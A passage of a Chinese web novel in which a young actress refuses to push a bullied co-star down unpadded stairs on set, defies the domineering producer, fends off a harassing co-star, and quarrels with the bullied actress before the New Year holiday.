徐思洁想着也觉得心里不舒服，“大家都想阻止他，但尚小姐在那里坐着，谁敢啊？” 想到陆仁嘉得意的模样，徐思洁不免有些反感，“要说这个陆仁嘉真是恶心，他明显就是故意的啊，边打边在那里笑，真是让人无语。” 说着，徐思洁不想再讨论这个话题，赶忙招呼祝星亦选餐厅，“不提他们了，再提他们饭都吃不下了。赶紧看看中午吃什么，我想吃这个烧鸭……” 徐思洁的话还在耳畔回响。 祝星亦握着手机发呆。 都说觉得余若可怜，但也没人去帮她。 包括自己。 她倒是想跟余若多说些话，但余若不搭理她。 “祝星亦，你赶紧选啊。”徐思洁看她还在愣，忙提醒。 “哦。”祝星亦低头选了选菜。 过了两天，祝星亦和余若的矛盾戏来了。 剧本上写，杨易颜和温小暖有争执，杨易颜把温小暖从楼梯上推下去。 楼梯很长，祝星亦和余若走上去先对戏。 “站这里，你把她推下去就好了。”李秀恩跟祝星亦指导动作，“双手推，等下你要拍两条推的动作，然后……” 李秀恩指导完祝星亦，又跟余若说：“等下你被她推下来及时调整好滚下来的姿势，最后的定点动作是趴着。” “好。”余若点头。 李秀恩正要离开，转头看了眼人群中抱着双臂的尚一萍。 尚一萍冷着脸，眼睛直勾勾盯着余若看。 李秀恩深吸一口气说：“余若，你要不先滚一下试试？” “我……滚？”余若疑问。 李秀恩道：“你就从这里开始吧，会拍从这里滚的……” “只拍这里太假了，我要呈现被推下楼的连贯性镜头。”尚一萍从人群里出来，“拍完杨易颜的阴狠表情，再拍温小暖被推下楼的完整镜头。” 尚一萍跟摄像说了什么，又睨了眼余若说：“不要跟我演什么美美从楼梯上滚落下来，这种镜头太假了，从杨易颜推温小暖开始，温小暖身子往后仰，摔在楼梯上，滚下去，我要完整的镜头。” 李秀恩深觉这个镜头很难呈现，“可是这样拍的话……” “赶紧拍。”尚一萍没有给李秀恩辩驳解释的机会，“不要给她找什么替身，太假了，垫子也不要找了，这楼梯也不高，滚下去也不会受什么伤。” 不高？ 祝星亦握着剧本往下数了数台阶，11阶也不高吗？虽然不陡，但被推下去怎么也得青一块紫一块的吧。 而且这个剧情明显很不合理，杨易颜把温小暖从这么高的楼梯上推下去，后面温小暖还自己骑自行车买药？ 温小暖是金刚不坏之身吗？ “我觉得这个……” 祝星亦正要说什么，被李秀恩挥挥手打断。 李秀恩：“尚小姐，但是这个角度是真的不太好拍，如果……” “没什么如果，快点拍。”尚一萍脸色不太好看，“秀恩，你这么磨叽吗？一共就三个镜头，杨易颜两个，温小暖一个，你不能因为温小暖这一个镜头耽误其他的吧？” 李秀恩没话说了，笑着说：“行，马上拍。” 尚一萍哼了一声重新回人群中。 祝星亦拉住李秀恩低声说：“李导，不用替身也就算了，怎么垫子都不用啊？我推她的话真的就把她推下去了，她会受伤的！” 李秀恩满面愁容，她也没什么办法，只得抬手敲敲祝星亦的剧本，“你就别管她了，你演好你自己的就行。” “可是余……” “开拍了开拍了，你站好。”李秀恩催促。 祝星亦的话被堵住，白澜拿走剧本后，她站在楼梯口看余若。 余若盯着楼下正思考着什么，她没什么表情，仿佛周遭的一切都已与她无关，嘴角微微下垂，带着一抹苦涩的弧度。 随后她像是想清了什么，站在自己的位置，等待被推下去。 人站在面前，祝星亦垂着手，始终没抬起手臂去推。 尚一萍不停地催着祝星亦：“你赶紧推啊！怎么磨磨蹭蹭的！” 尖锐的声音在空气中回荡，太过刺耳。 余若哑着声音说：“你赶紧推吧。” 待宰的羔羊只是在静静等着最后一刀到来，余若放弃了所有的挣扎。 站在这里，说什么也没有用了。 “祝星亦，快点动手呀！” “快点推，你让所有人都等着你吗？” 尚一萍和李秀恩的催促声不绝于耳，祝星亦被催得也是有些下不来台，一咬牙，推了余若一把。 余若被推的一瞬间，脸上没有丝毫的惊恐，反而很坦然。 她的双眼缓缓闭上，像是终于解脱了一般。 她已经预见了自己摔下去后的惨状，却又无力改变，只能以这样一种近乎麻木的姿态去面对。 那天聚餐的时候她才知道尚一萍和房锦桐的事，她是偷听到祝星亦和徐思洁的谈话才知道的。 之后她就不再搭理祝星亦，也选择不和剧组里的所有人主动沟通，这样会减少很多麻烦。 得到了什么就要去承受得到的代价，房锦桐舍得给资源，她得到就够了，至于其中的过程和辛酸，等享受到成果的时候再去忘掉就好了。 余若闭眼接受即将到来的疼痛。 很奇怪。 没有疼痛。 一只温暖的手拉住了她的手。 余若震惊地睁开眼。 拉着她手的人逆着光，眼睛却很清亮。 那样凛然的模样，那样坚定的目光，那样好看的祝星亦，就这样大胆地拉住了她。 “我觉得，我还是不能推你。下面没有垫子，你会受伤的。” 祝星亦的声音在安静的楼梯道里显得格外清晰。 前世，她在距离地面十几米的时候，露出过和余若一样的表情。 之后，她清晰地听到她头骨碎裂的声音，还有四肢破碎的声音。 很疼。 但她很快就死了，所以感受疼的时间不算太多。 余若不一样，摔下去的话摔不死，但真的会很疼。 “可是，为什么？我是个麻烦。”余若听了这话，眼泪顺着脸颊滑落。 祝星亦还没有回答，身后一个尖锐的声音响起。 “祝星亦！你干什么呢！”尚一萍从人群中挤出来，怒气冲冲地快步走向祝星亦。 第60章 我坑她了 祝星亦缓缓收回手，身旁的余若像根木桩似的站着，脑袋低垂，大气都不敢出。 她余光瞥见祝星亦的小动作，心都提到了嗓子眼，手指不安地揪着衣角。 她担心祝星亦被尚一萍针对，但现在她又做不了什么。 尚一萍尖锐的声音由远及近，近一分，祝星亦的肩膀就缩紧一分，脖子也不由自主地往衣领里缩，活像只受惊的鹌鹑，只能干等着恐怖的问候。 “祝星亦，你到底怎么回事？！”尚一萍一到跟前，眼睛瞪得像铜铃，扯着嗓子吼起来，音量仿佛要冲破片场，“让你推你不推，你推了你还要把人拉回来，你一个人耽误整个剧组的进度，你知不知道？！” 祝星亦心里“咯噔”一下，一阵寒意从脚底直蹿脑门，可还是梗着脖子，硬着头皮反驳：“我当然不是想要耽误剧组进度，我只是觉得这个地方的剧情设计不太合理。” 一听这话，尚一萍像是被点燃的火药桶，“剧情设计的不太合理？呦，你这是什么意思？你想改剧本了？” 李秀恩一路小跑着赶来，脚步踉跄，神色慌张，双手在身前乱摆，急急忙忙劝道：“祝星亦她不是这个意思，我这边跟她……” “你可真是有个好老师啊，你把苏寄欢喜欢研究剧本的习惯也学过来了？”尚一萍嘴角扯出一抹冷笑，话语里满是嘲讽。 诶？ 啊？ 哦～ 祝星亦眼睛骤亮，“是啊，我就是想改剧本了，苏老师跟我说过，遇到不合理的剧情一定要指出来，不然这就是对作品的不负责。” 尚一萍从鼻子里哼出一声，满脸不屑，“那你说说这个剧情哪里不合理了？” 见尚一萍发话了，祝星亦忙不迭说道：“温小暖从这么高的楼梯摔下来，怎么说都磕磕碰碰的，得几天好不了。但承接这个剧情的下一个剧情，却是温小暖骑着自行车去买药。这个温小暖是铁人吗？这还能骑车？” 祝星亦越说越激动，双手在空中挥舞比画着，“如果真的要拍把人推下去的剧情，那你也得重新添一点剧情啊，比如说赵泽安关心温小暖，或者温小暖住院什么的，要不然这个剧情真的会被人吐槽的。” “那你想怎么拍？” “平地上推一把就算了，犯不着把人从楼梯上推下去。”祝星亦回答得斩钉截铁，下巴微微扬起。 李秀恩见两人这聊天氛围还算缓和，忙不迭插嘴：“说的也是，不如平地推一把就算了，这样也容易呈现画面。” 尚一萍拳头紧握，指关节泛白，手背上青筋暴起，声音像是从牙缝里挤出来的，“你说改就改吗？怎么？祝星亦，你比我的权力还要大？” 祝星亦一下僵住了，手心瞬间沁出一层细密的汗珠。 自己不过是个小演员，在这剧组里，尚一萍可是一手遮天的制片人，李导都得敬她三分，自己这么“大放厥词”，在她眼里可不就是个跳梁小丑嘛。 迎着尚一萍的质问，祝星亦心跳如鼓，可她还是深吸一口气，努力让自己镇定下来，最终冷静开口：“创作者永远都要为自己的作品负责，我是没有改剧本的权力，但我有资格对这个剧情产生疑问。这个剧情不合理就是不合理，即便拍出来，到最后播出的时候还是会被吐槽，好好的一部青春剧变成一部雷剧，那拍出来的意义是什么？为了惹人笑话吗？” “祝星亦！”尚一萍暴跳如雷，额头上青筋突突直跳，“你好大的胆子，我告诉你，我把你换掉是分分钟的事！！” 此时，片场其他人也都噤若寒蝉。 余若眼神慌乱地在尚一萍和祝星亦之间来回瞟，她几次想开口劝阻祝星亦，又被祝星亦瞪了回去。 旁边的场务们也都面面相觑，大气不敢出，手里的道具都拿不稳了，有个年轻场务手一抖，手里的道具差点掉在地上，吓得脸色惨白。灯光师紧握着灯架，额头满是汗珠，灯光都跟着晃了晃。 所有人都盼着祝星亦能赶紧住嘴，别再火上浇油了。 这可是制片人啊！李导都不敢大声说话，祝星亦怎么敢这样没礼貌？！ “你换了我，我会去其他剧组，但如果你没有接受我的建议，这部剧血扑。”祝星亦冷静开口。 她在这剧组待得这些天，心早已如死灰。 对戏最多的余若像躲瘟神似的不搭理她，陆仁嘉整日鼻孔朝天，拍戏态度恶劣至极，尚一萍天天板着脸监督，剧组气氛压抑得让人喘不过气，李秀恩唯唯诺诺啥也不敢说，哪怕剧情不合理也照拍不误。 这都算什么事儿啊？ 这部剧最后剪出来能成啥样，真让人心里没底。 她觉得整部剧里就她自己在认真演反派，哪怕常常对着空气演，也毫不含糊。 这种剧组，来一次就够够的了，真不想再涉足第二次。 尚一萍咬牙切齿道：“你说我的剧会血扑？好啊，很好啊，苏寄欢真的是教了个好学生出来。” 她站在原地胸脯剧烈起伏，大口喘着粗气，眼睛狠狠盯着祝星亦。 好一会儿，她猛地一转身，挥挥手，“行，那就按你说的拍。” 诶？ 众人都像被施了定身咒，一下子愣在原地，尤其是祝星亦和余若，眼睛瞪得滚圆。 “真……真哒？”祝星亦满脸惊讶，声音都拔高了几个调，眼里满是不敢置信。 尚一萍没吭声，黑着脸大步回到人群中。 李秀恩挠挠头，也是一脸诧异，结结巴巴地说：“那就，那就改为推地上。” 推倒余若的戏拍完，李秀恩回放这段视频，问：“尚小姐，你感觉怎么样？” 尚一萍眼睛盯着屏幕，心思却全然不在上面，眼神越过屏幕，瞪着不远处捧着剧本念念有词的祝星亦，冷哼道：“苏寄欢可真是会惯这个学生啊，她祝星亦算老几，竟然敢对我大呼小叫？！” 李秀恩满脸赔笑，身体前倾双手合十，讨好地安抚她，“寄欢就这一个学生，可不得捧着护着，久了就给惯出毛病来，这也是没办法的事啊。” “苏寄欢这是在溺爱她！”尚一萍气得猛拍几下桌子，桌上的水杯都跟着晃了晃，“现在就指着别人的鼻子让别人改剧本，以后不知道要变成什么样呢！我跟你说，我下次见了苏寄欢，我非得跟她告状！” “嗐！你告呀！你不是手里还有个电影准备拍吗？让寄欢客串一下！免费客串！狠狠宰她！”李秀恩眼睛一亮，忙不迭给尚一萍出主意。 尚一萍一听，觉得这主意妙极了，脸上怒气稍减，嘴角微微上扬，“这个主意妙，我晚上……” 李秀恩笑着摆摆手，“寄欢还在拍戏呢，而且这才哪到哪儿，你先让那孩子再放肆放肆，这样就能多留点证据，你说是不是？” 尚一萍嘴角勾起一抹笑，感叹道：“你倒是会坑她。行，那就再让她放肆几次。” /// 祝星亦在剧组出名了。 唯一敢和尚一萍抗衡的演员，一战成名。 “嘶——这祝星亦这么大牌的吗？尚小姐都得对她礼让三分？” “你没听说吗？她老师可是苏寄欢啊！实力影后，[苏盛］的大老板，苏寄欢！” “苏寄欢当老师了？啥时候的事儿啊！” “你看你这就2G网了吧。人家苏寄欢收徒还专门宴请了整个内娱的腕儿，专门给祝星亦开了个拜师宴，圈里的名导大腕儿，谁不认识祝星亦啊！” “嚯！我说呢！难怪尚一萍都能被她搞定，原来背景这么硬啊！” “蛙趣，惹不起惹不起，我说她怎么不拍戏的时候摆个死人脸，原来是后面有人啊！” 休息日，徐思洁抱着零食去祝星亦房间找她，一进去就把零食塞给她，眼睛放光，“天啊祝星亦，你这几天是全剧组讨论的对象啊！” 祝星亦笑纳了零食，邀她进屋子坐下。 白澜给徐思洁倒水，“徐小姐，来，喝水。” 徐思洁狠狠给祝星亦比大拇指，“你真的是太强了，连尚一萍你都敢怼！” 祝星亦故作轻松笑笑。 她倒不觉得这是“怼”，她只是正常和尚一萍交流罢了。 尚一萍故意针对余若，这是谁都知道的事，出于自身和苏寄欢的原因，她也不想出这个头。 早些时候，白澜也劝过她，她要是出头，艺域和风荇她不在乎，无所谓，但是可不能给苏老师丢脸。 于是祝星亦只能收着心，持着中立的态度。 但她讨厌中立。 中立是很残忍的行为。 在极度不公平时保持中立，就是沉默的帮凶。 极度不公平时，中立就是在帮助强势一方，就是在纵容邪恶，就是在默许全剧组对余若的孤立，以及尚一萍对余若的霸凌行为。 她不要中立，她要正义。 可她也有很多顾虑在身上，怕给苏寄欢惹事，又怕自己丢了工作。 可是要她推余若下楼，她真的不忍心。 没有人会忍心看到一个无辜的姑娘被推到楼下，更何况，推人的是她自己。 可没人阻止。 没人阻止，没人反抗，受伤的是余若，伤害余若的是—— 自己。 站在那个满是荆棘圈子里的是余若，被推倒在荆棘上流血的是自己。 所有人都只是沉默地看着。 沉默不是无视，沉默是允许，是杀人的刀。 祝星亦拉着余若的时候，感到全身上下无比轻松。至于和尚一萍辩论，也只是尚一萍提到苏寄欢让她灵机一动。 要不是想到苏寄欢，她还不知道怎么回答呢。 这几天她没有主动跟苏寄欢聊天，她心虚，生怕自己没管好嘴把剧组的事说出去。 她可是让苏寄欢背了个大锅，她都不知道尚一萍万一真去找苏寄欢麻烦，到时候她怎么跟苏寄欢解释。 好害怕……祝星亦越想越后悔。 当时就应该被尚一萍骂两句，骂了就不说什么了，自己还逞什么能呢？ “我真的是太羡慕你有这么强的背景了。”徐思洁看着祝星亦忍不住感叹道，“你有这么强的背景，那你在剧组不得横着走？简直要风得风，要雨得雨。” 祝星亦自嘲般笑笑，“我还要风得风要雨得雨呢，我这份工作不丢了，就谢天谢地了。” 祝星亦真的是很害怕会丢了这个角色。 当时尚一萍说出那句把她换掉，她心里别提多害怕了。好不容易争取来的角色又给丢了，哭都来不及呢。 不过真的是太感谢苏寄欢了，希望苏寄欢到时候不要怪罪自己。 祝星亦猛狐落泪。 徐思洁道她杞人忧天，“我就等着你和陆仁嘉比一比，看一看你和他到底谁拽。” “我跟他比什么？懒得比。” “我听说他今天去酒吧嗨了，说什么不醉不归。” 祝星亦眼一瞪，“不醉不归？我明早上还有戏要跟他拍呢，他不归我怎么办？” 徐思洁也没了主意，拿出手机说：“那你把他喊回来？我看他那架势，可能明早才从酒吧出来呢。” “劁他爹的！”祝星亦猛地捶了一拳沙发。 她到底进了个什么剧组？！一个个像拍戏的样子吗？！ 越想越憋屈。 祝星亦让自己冷静下来。 冷静，一定要冷静，说不定自己拍了这部剧，马上就收拾收拾升咖了呢？ 再怎么说这部原著也是有热度的，杨易颜这个角色改后也是很有魅力的，而且也是她的一部现代偶像剧作品。 忍。 一定要忍。 次日，祝星亦在片场等到十一点还没等到陆仁嘉，她捏着剧本，整个人的头上都在冒烟。 白澜拿着小扇子给祝星亦扇风，“要不然你就先别等了，吃饭吧，他不知道什么时候回来呢。” 祝星亦深吸一口气，忍着不发脾气，“行，先点外卖。” 等了半小时，白澜拎着外卖过来。 俩人都点了面，白澜掰开筷子递给祝星亦。 祝星亦嗅嗅面，很香。 “白澜，咱得在剧组过年了呢。”祝星亦边吃面边跟白澜聊天，“你跟你家人说了吗？” “嗯，说了。”白澜擦擦手，闷头吃了口面，说：“反正我跟着你，过年就不算孤单。” 祝星亦眼睛眯着，“好，我到时候给你发个红包，大红包。” 白澜有些羞涩地点头，“行。” 祝星亦刚夹起一块肉送入口中，腮帮子还鼓鼓囊囊嚼着，眼角余光就瞥见陆仁嘉晃晃悠悠的身影从远处踱步而来。 陆仁嘉双手插兜，迈着不紧不慢的步子走进片场。 “抱歉啊，昨天晚上不太舒服。”陆仁嘉到副导面前弓着腰，双手合十不住地摇晃着，姿态看似诚恳，实则透着一股敷衍的味道，声音拖得老长，像根软绵绵的面条，“真是不好意思，耽误你们了。” 副导皱着眉头，手里的剧本被攥得紧紧的，毫不客气地数落起来：“陆仁嘉，这剧组上上下下几十号人都等着开机呢，你倒好，让大家等了一上午。赶紧麻溜地去准备准备，别再瞎磨蹭！” 陆仁嘉毫不在意这个批评，嘴里嘟囔着“是是是”，待副导一转身，他翻了个白眼，满脸不屑。 等化妆师给他化好妆，他揣着兜就朝着祝星亦这边溜达过来，到了跟前也不言语，抬脚就踢了下桌子，力道不大不小，却震得桌上的碗筷“哗啦”一响。 汤汁在碗里晃荡着，险些溢了出来。 “祝大牌，马上都开拍了，你怎么还在吃东西？你让全剧组的人都等你吃东西吗？”陆仁嘉扯着嗓子喊道。 祝星亦看见他本就倒胃，现在被这突如其来的一踢、一吼，瞬间没了胃口。 她缓缓抬头，眼里满是厌烦。 瞥见这男的似笑非笑、皮笑肉不笑的表情，祝星亦就恶心得慌。 他丝毫没有觉得自己晚来片场许久、耽误大家进程是何等没素质的行径，还在这儿颐指气使，倒打一耙。 “不是吧，大哥。”祝星亦把筷子狠狠戳进面里，右手往椅背上一搭，四仰八叉地坐着，嘴角一撇，“你有病吧，我让全剧组等了？你是又瞎又聋吗？是你让全剧组等了那么久好不好？” 听到这话，陆仁嘉拧着眉，鼻子里“哼”了一声。 他可烦死这个祝星亦了，演戏的时候还算能配合，一旦结束立马就冷脸相待，对他爱答不理的*，任他怎么套近乎都没用。 不只是祝星亦，还有那个余若，俩人都跟商量好了似的把他当空气。 陆仁嘉心里越想越气，脚下不受控制，俯身猛地一拍桌子，这股力道震得祝星亦碗里的筷子跳动了下，汤汁溅出几点落在桌面上。 “我说现在是你让大家等了，到底谁瞎？我妆都化好了，你还在这吃饭？”陆仁嘉双手撑在桌上，身体前倾，脸凑得离祝星亦很近，嘴里喷出的热气带着股刺鼻的香水味，眼睛死死盯着祝星亦，“祝星亦，快点开拍，别让大家等着。” 祝星亦嚯地起身，椅子与地面摩擦，发出“吱呀”一声巨响。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 60-70 第61章 她震惊了 忍。 手要举起来的时候，祝星亦想到了忍。 忍则面坨，忍则被气。 不忍。 不忍就是和陆仁嘉有争执，传到苏寄欢耳中就会被批评不理智、冲动。 忍还是不忍？ 祝星亦呼吸急促，她无法决定自己到底该不该忍。 待白澜拉了下她的手臂，她犹豫片刻才冲陆仁嘉笑着点头，“行，拍戏。” 小不忍则乱大谋。 祝星亦忍了。 拍戏—— 这场的剧情是杨易颜跟赵泽安告白，赵泽安拒绝，杨易颜问赵泽安是不是喜欢温小暖，赵泽安承认，并让杨易颜死心。杨易颜生气，不甘心。 祝星亦觉得这部分剧情还是遵从原著了，不过杨易颜后期剧情有较大的修改，还算是把人设拯救回来了。 演完，祝星亦冷着脸准备回去继续吃饭。 陆仁嘉伸出手臂拦住她，“你刚刚跟我告白的时候真的很真挚，你确定是出于角色，而不是出于自己？” 啊？ 祝星亦翻了个白眼。 “欲擒故纵嘛，我懂。”陆仁嘉笑得一脸油腻，“今晚我还有个局，要不要一起？” 陆仁嘉向祝星亦发出邀请。 说实在的，即便祝星亦天天对他爱答不理，他也对这人有兴趣。 明艳的浓颜，身材极好，不化妆也让人想多看几眼。女团爱豆都这么顶吗？陆仁嘉咽了口唾沫，继续说：“那局卡颜，但你进去，你就是局里的No.1，我……” “那局卡颜，那你怎么能去啊？”祝星亦笑吟吟的，声音轻快，“你都能去的卡颜局，那卡的什么颜啊？我觉得你的颜还没有到能让人忽视你是春竹的程度。” “什么竹？”陆仁嘉不太能理解祝星亦在说什么。 祝星亦挑了下眉道：“哦～我夸你谦谦君子，似春天的竹子般清雅脱俗。” “那你就……” “Sorry啊，有约了。” “明晚呢？” “明晚也有。” “那……”陆仁嘉正要再商量，祝星亦走了。 回到桌子旁，白澜无奈道：“面坨了。” 祝星亦攥着拳头，低声咒骂了句shift（shit）。 坐在餐桌前，看着眼前坨了的面条，祝星亦摇摇头拿起筷子机械地将面条送入口中，味同嚼蜡。 她忍不住长叹了一口气，满心都是苦涩，这苦日子，究竟什么时候才是个头啊？ 想想之前待过的《寄明月》剧组，那氛围别提多融洽了，从导演到工作人员，个个都透着专业劲儿，加上有苏寄欢在，又交了齐漫姝这个好朋友，大家齐心协力扑在拍戏上，每一天都很充实愉快。 如今这个《四季》剧组好似一个压抑沉闷的“牢笼”，四处弥漫着令人窒息的气息，剧组里麻烦事儿还一桩接着一桩，像杂乱无章的线团，剪不断理还乱。 每天收工后，祝星亦唯一的宣泄方式便是前往酒店附近的公园，沿着蜿蜒的小径跑上两圈，似乎只有这样才能将心里那些憋闷和委屈随着汗液一并排出体外。 很多成年人排解压力的方式是烟和酒。 她见过苏寄欢抽烟喝酒时洒脱不羁的模样，可苏寄欢从未在她跟前儿点过烟。 烟。 烟是什么味道的？ 怀揣着好奇，她跑完步在街边便利店买了烟和打火机。 她从没抽过烟，打心底觉得抽烟不是什么好事。 晚上七八点，公园里人影绰绰，她寻了棵路灯昏暗的树蹲下身来，手指略显生疏地摆弄着打火机。 “叮”一声，微弱的火光骤然亮起，映照着她精致的脸。 她小心翼翼地捏着烟凑近火苗，烟头瞬间被点燃，橘红色的光亮闪烁着，她盯着烟头，嘴角不自觉地上扬。 这可是她头一回点烟呢。 刚点着，她又觉着蹲着抽烟太过怪异，赶忙起身走到一旁的木椅边坐下。 坐定后她掏出手机，翻找苏寄欢在天台抽烟喝酒的照片。 这是她保存的苏寄欢的第一张照片，还是从热搜上保存的。 记得那时她对苏寄欢印象可不好了。 还是那么好看。 祝星亦看着苏寄欢的照片忍不住要翘起唇角。 怎么苏寄欢一直都这么好看啊。 她心头一动，也学着那模样双腿交叠侧身而坐，随后夹紧了烟，深吸一口。 “这是苏寄欢吗？” 一道突兀的声音骤然响起，吓得祝星亦手一抖。 “yue——” 还没等她反应过来，浓烈的烟味直呛嗓子眼，一阵恶心涌上心头，她弯下腰干呕起来，咳得满脸通红，眼泪都飙了出来。 “哎呀，你没事吧！”余若不知何时坐到了她身旁，焦急地抬手轻拍她的后背。 干呕着，烟直冲脑袋，祝星亦又咳得眼泪汪汪，边擦眼泪边没好气地问道：“你怎么在这儿啊？” 这余若到底啥时候冒出来的，自己咋一点都没察觉。 余若抠着手指，小声嘟囔道：“就刚才你正抽烟的时候，你看她看得太入神了，都没瞧见我。” 说着，她抬手指了指祝星亦还亮着屏幕的手机，“她好像是你老师，对吧？我都听说了。” 祝星亦一惊，手忙脚乱地关掉手机塞进兜里，又往旁边挪了挪身子，夹着烟故作镇定地抽了一口。 可这烟味儿实在刺鼻，她含在嘴里犹豫着是咽下还是吐出，纠结再三，还是觉得难受，赶忙吐了出来。 死烟！到底怎么抽！ 但顾及身边坐着人，她只能强装娴熟。她赶忙调整了下坐姿，胳膊随意地搭在椅背上，跷起二郎腿，有一搭没一搭地抽着。 “是啊，是我老师。”祝星亦吸一口，抿紧嘴唇，缓慢吐出来，“怎么了？” 余若声音压得低低的，带着几分愧疚说道：“上次你因为帮我，惹了尚一萍，你就不怕给她添麻烦吗？” 祝星亦听了，神色一松，左臂自然垂下，身子往后仰靠在椅背上，整个人透着股慵懒劲儿。 烟雾从她唇间缓缓吐出，明艳的脸庞在灰暗的世界里看不清轮廓。 “做都做了，我怕什么？”她满不在乎地耸耸肩，“大不了挨她一顿揍呗。” 余若眉头紧皱，满脸担忧：“她……她真会打你啊？” “我哪知道呢？”祝星亦撇撇嘴。 “那要是她真动手了，你怎么办啊？” 祝星亦翻了个白眼，没好气回道：“把我打死好了呗。” “对不起啊。”余若声音里满是歉意，头也低了下去，“是我害了你，我知道我是个麻烦，所以我才不跟剧组的所有人交流。但我不知道你会救我，你如果不救我的话，也许你不会……” “救都救了，你还说这些话干什么？你要是想说这些话，当我救了你之后你就能跟我说了，而不是等到现在才跟我说。”祝星亦想到这事就来气。 当时她帮了余若，以为这余若怎么说都得跟她说两句话了吧，这样拍戏的时候还不至于那么闷。 结果余若说了句谢谢之后又不搭理她了，这叫什么？这叫好心当作驴肝肺吗？ 之后祝星亦越想越气，气得干吃了一碗大米饭。 余若慌忙解释：“那是因为我害怕我要是跟你走得近，那个尚小姐又针对你。我只是怕给你添麻烦，我进组之后本来就给大家添很多麻烦了。” 她说完便闭嘴了，等了会儿才说：“还有一个月就杀青了，无论怎样，请你再继续忍一个月。” 祝星亦瞪大眼睛。 不是吧？她以为余若主动找自己说话是因为不打算不搭理她了，怎么还要继续再忍一个月？ “我凭什么再忍一个月？我认真工作，我也不找你麻烦，你就这样孤立我？”祝星亦实在忍无可忍，声音提高了些，“你自己忍也就算了，你还要我忍吗？本来工作就烦，我还要受工伤，进这个剧组真倒了八辈子血霉了。” 回想起进组前她还兴高采烈地跟齐漫姝说她进组了很开心，不管这个剧组里面有谁大牌，只要她饰演了自己喜欢的角色，无论怎样她都很开心。 她想着，即便有人耍大牌，即便有人拽又怎么样呢？ 这剧组简直像个“疯人院”，霸凌、孤立、骚扰，乱象丛生，一个正常的同事都找不着，拍戏更是状况百出，一团糟。 祝星亦吸了一口烟，这烟她真的不会吸，她也不想再继续装了，嚯地起身吐出一团烟满脸怒容道：“你想忍你就继续忍吧，我可不伺候了，我并不想救不愿意自救的人。” 说罢，她抬腿就走。 长椅上的余若站起来喊道：“可是我除了忍还能做什么？我被尚小姐针对，这是没有办法的事，我用什么都证明不了自己，我是房锦桐的艺人，她给我什么我就要演什么，我没有选择的权力。进组后我遭遇什么她也不会帮助我，我只要拿到片酬给她挣钱就好了。” 余若往前走了几步，看着祝星亦的背影，眼眶泛红，声音带着几分哽咽：“只要屈居人下，就只能任人摆布。依靠谁就要听谁的话，给谁挣钱就要被谁随意安排，哪怕我能演很多很多一番，我也只是房锦桐的员工，我也只是她的狗。” “做狗就不能挑狗食，做狗就不能让主人不开心。我能怎么办，我又不像你们，你们有背景有条件，你们有人捧有人护，可以在剧组撒泼，我只是来剧组打工的。”余若说着，声音提高了不少，“还让我不要忍，你说的怪好听，我除了忍我还能做什么？你们过得那么舒坦，都是大小姐大少爷，当然不会站在我的角度上为我考虑。” 祝星亦脚步一顿，猛地转身，气得浑身发抖，手指紧攥着香烟，冷哼一声：“余若啊余若，你可真是厉害啊。从出道到现在，你演的哪一个不是一番？电影资源更是好到没边儿，有房锦桐在，你们身为她的员工，绝对不会演什么镶边配角。你们从别人手里抢走角色的时候，怎么不说当她的狗可怜了？” 余若被这话噎得满脸通红，张了张嘴，却一个字都说不出来。 “怎么不吭声了？”祝星亦逼近余若，两人站在黑暗中，只有烟头那点微弱光亮闪烁，“自己吃肉的时候，忘了自个儿是狗，挨打了，就想起自己汪汪叫委屈了？” 身为既得利益者，受益的时候只会沉默，受伤的时候被救助，还要再嘲讽别人一句。 凭什么？ “我有人捧有人护，那也是我自己争过来的。你的主人为你争为你抢，你低头吃她给你夺回来的狗食，你要是被别的狗打，那也是活该。”祝星亦瞪她一眼，转身快速离开这个糟心的地方。 从昏暗的角落迈向公园那条明亮的小径，走着走着，她猛地吸了口烟，辛辣的烟雾从鼻孔喷出。 呵，这下倒学会抽烟了。 /// 祝星亦接连几天在剧组冷脸。 她现在对这个剧组完全死心了，只当自己眼瞎了进来，左一个不好，右一个不好，除了自己，整个剧组的人都是神经病。 收工后她便急急忙忙回去，坚决不在剧组多待一秒。 晦气，太晦气了。 每天早上去片场就看到尚一萍在发飙，李秀恩赔着笑脸安抚尚一萍；陆仁嘉吊儿郎当过来骚扰她，她东西掉到余若面前余若都不帮忙捡，直接选择性无视，徐思洁叽叽喳喳讲八卦，丝毫不管她到底想不想听，…… 这都是过的什么日子，她几乎每天都在受工伤。 累了，毁灭吧。 “星亦，明儿就是除夕了，我买了对联，明早早起贴对联吧。”酒店里，白澜把刚取的快递拆开，“剧组那边说会一起跨年，我带着毯子和衣服过去，晚上冷，多穿点儿。” “都行。”祝星亦疲惫地趴在沙发上。 还有半个月就拍完了，她安慰自己，坚持就是胜利。 “我送给苏老师的礼物你帮我寄出去了吗？”祝星亦问。 她前段时间抽空做了个双面中国结挂件，纹样繁复，整体和小臂差不多长。正面蓝白反面粉白，结中间是花朵形状的金饰，整体共点缀6颗珍珠、12颗小金珠。 结旁还有一个编织的立体的双鱼，几串玉珠用来装饰手工编织的流苏，挂绳处也是用玉珠装饰，拿在手里沉甸甸的。[1］（作话有详细解释） 买一个昂贵的礼物送人自然好，但她总觉得拿出自己亲手做的东西更有诚意。每每看到苏寄欢还在戴着她做的红手绳，她想，苏寄欢应该是真的喜欢手工礼物。 那这个结……苏寄欢也会喜欢吗？ 苏寄欢会把这个结挂在哪里呢？包上？车上？屋子里？ 祝星亦翻了个身，举起手看手腕上的玉镯。 半山半水，和苏寄欢的镯子是一对儿。 一对儿…… 元旦那天她给苏寄欢买了个大金镯子，但没给自己买。 祝星亦有些懊悔，应该舍得花钱买一对儿的。 “明天下午四点多就收工了，你……”白澜收拾完东西不见祝星亦人影，上楼发现祝星亦伏在书桌前摆弄着什么。 白澜走近一看，祝星亦正选绳子。 白澜问：“你这是……” “我要编个结。”祝星亦认真选绳子颜色。 “你不是编了一个送给苏小姐了吗？” “我想再编一个，凑一对儿。”祝星亦从盒子里拿出绳子放在桌子上，“这些东西成双成对才好看。” 她没有耐心再编一条和苏寄欢一模一样的结，苏寄欢的结太复杂，再编一条会让她头疼。而且金饰她也没有多买，只剩多余的珍珠和玛瑙可以用来装饰。不过编个形似的倒很简单，她也不用费神，只要看起来和苏寄欢的结是一对就好。 白澜了然，简单帮忙收拾下桌面道：“明早九点到片场，你和陆仁嘉、余若都有戏份，下午到四点就收工了，剧组这边会带着咱们去吃饭，我先把你东西给你收拾好。” 祝星亦没抬头，认真编绳子，“好。” 次日早上九点，祝星亦准时到片场。 她起得早，跟白澜把loft里里外外贴了窗花、对联。 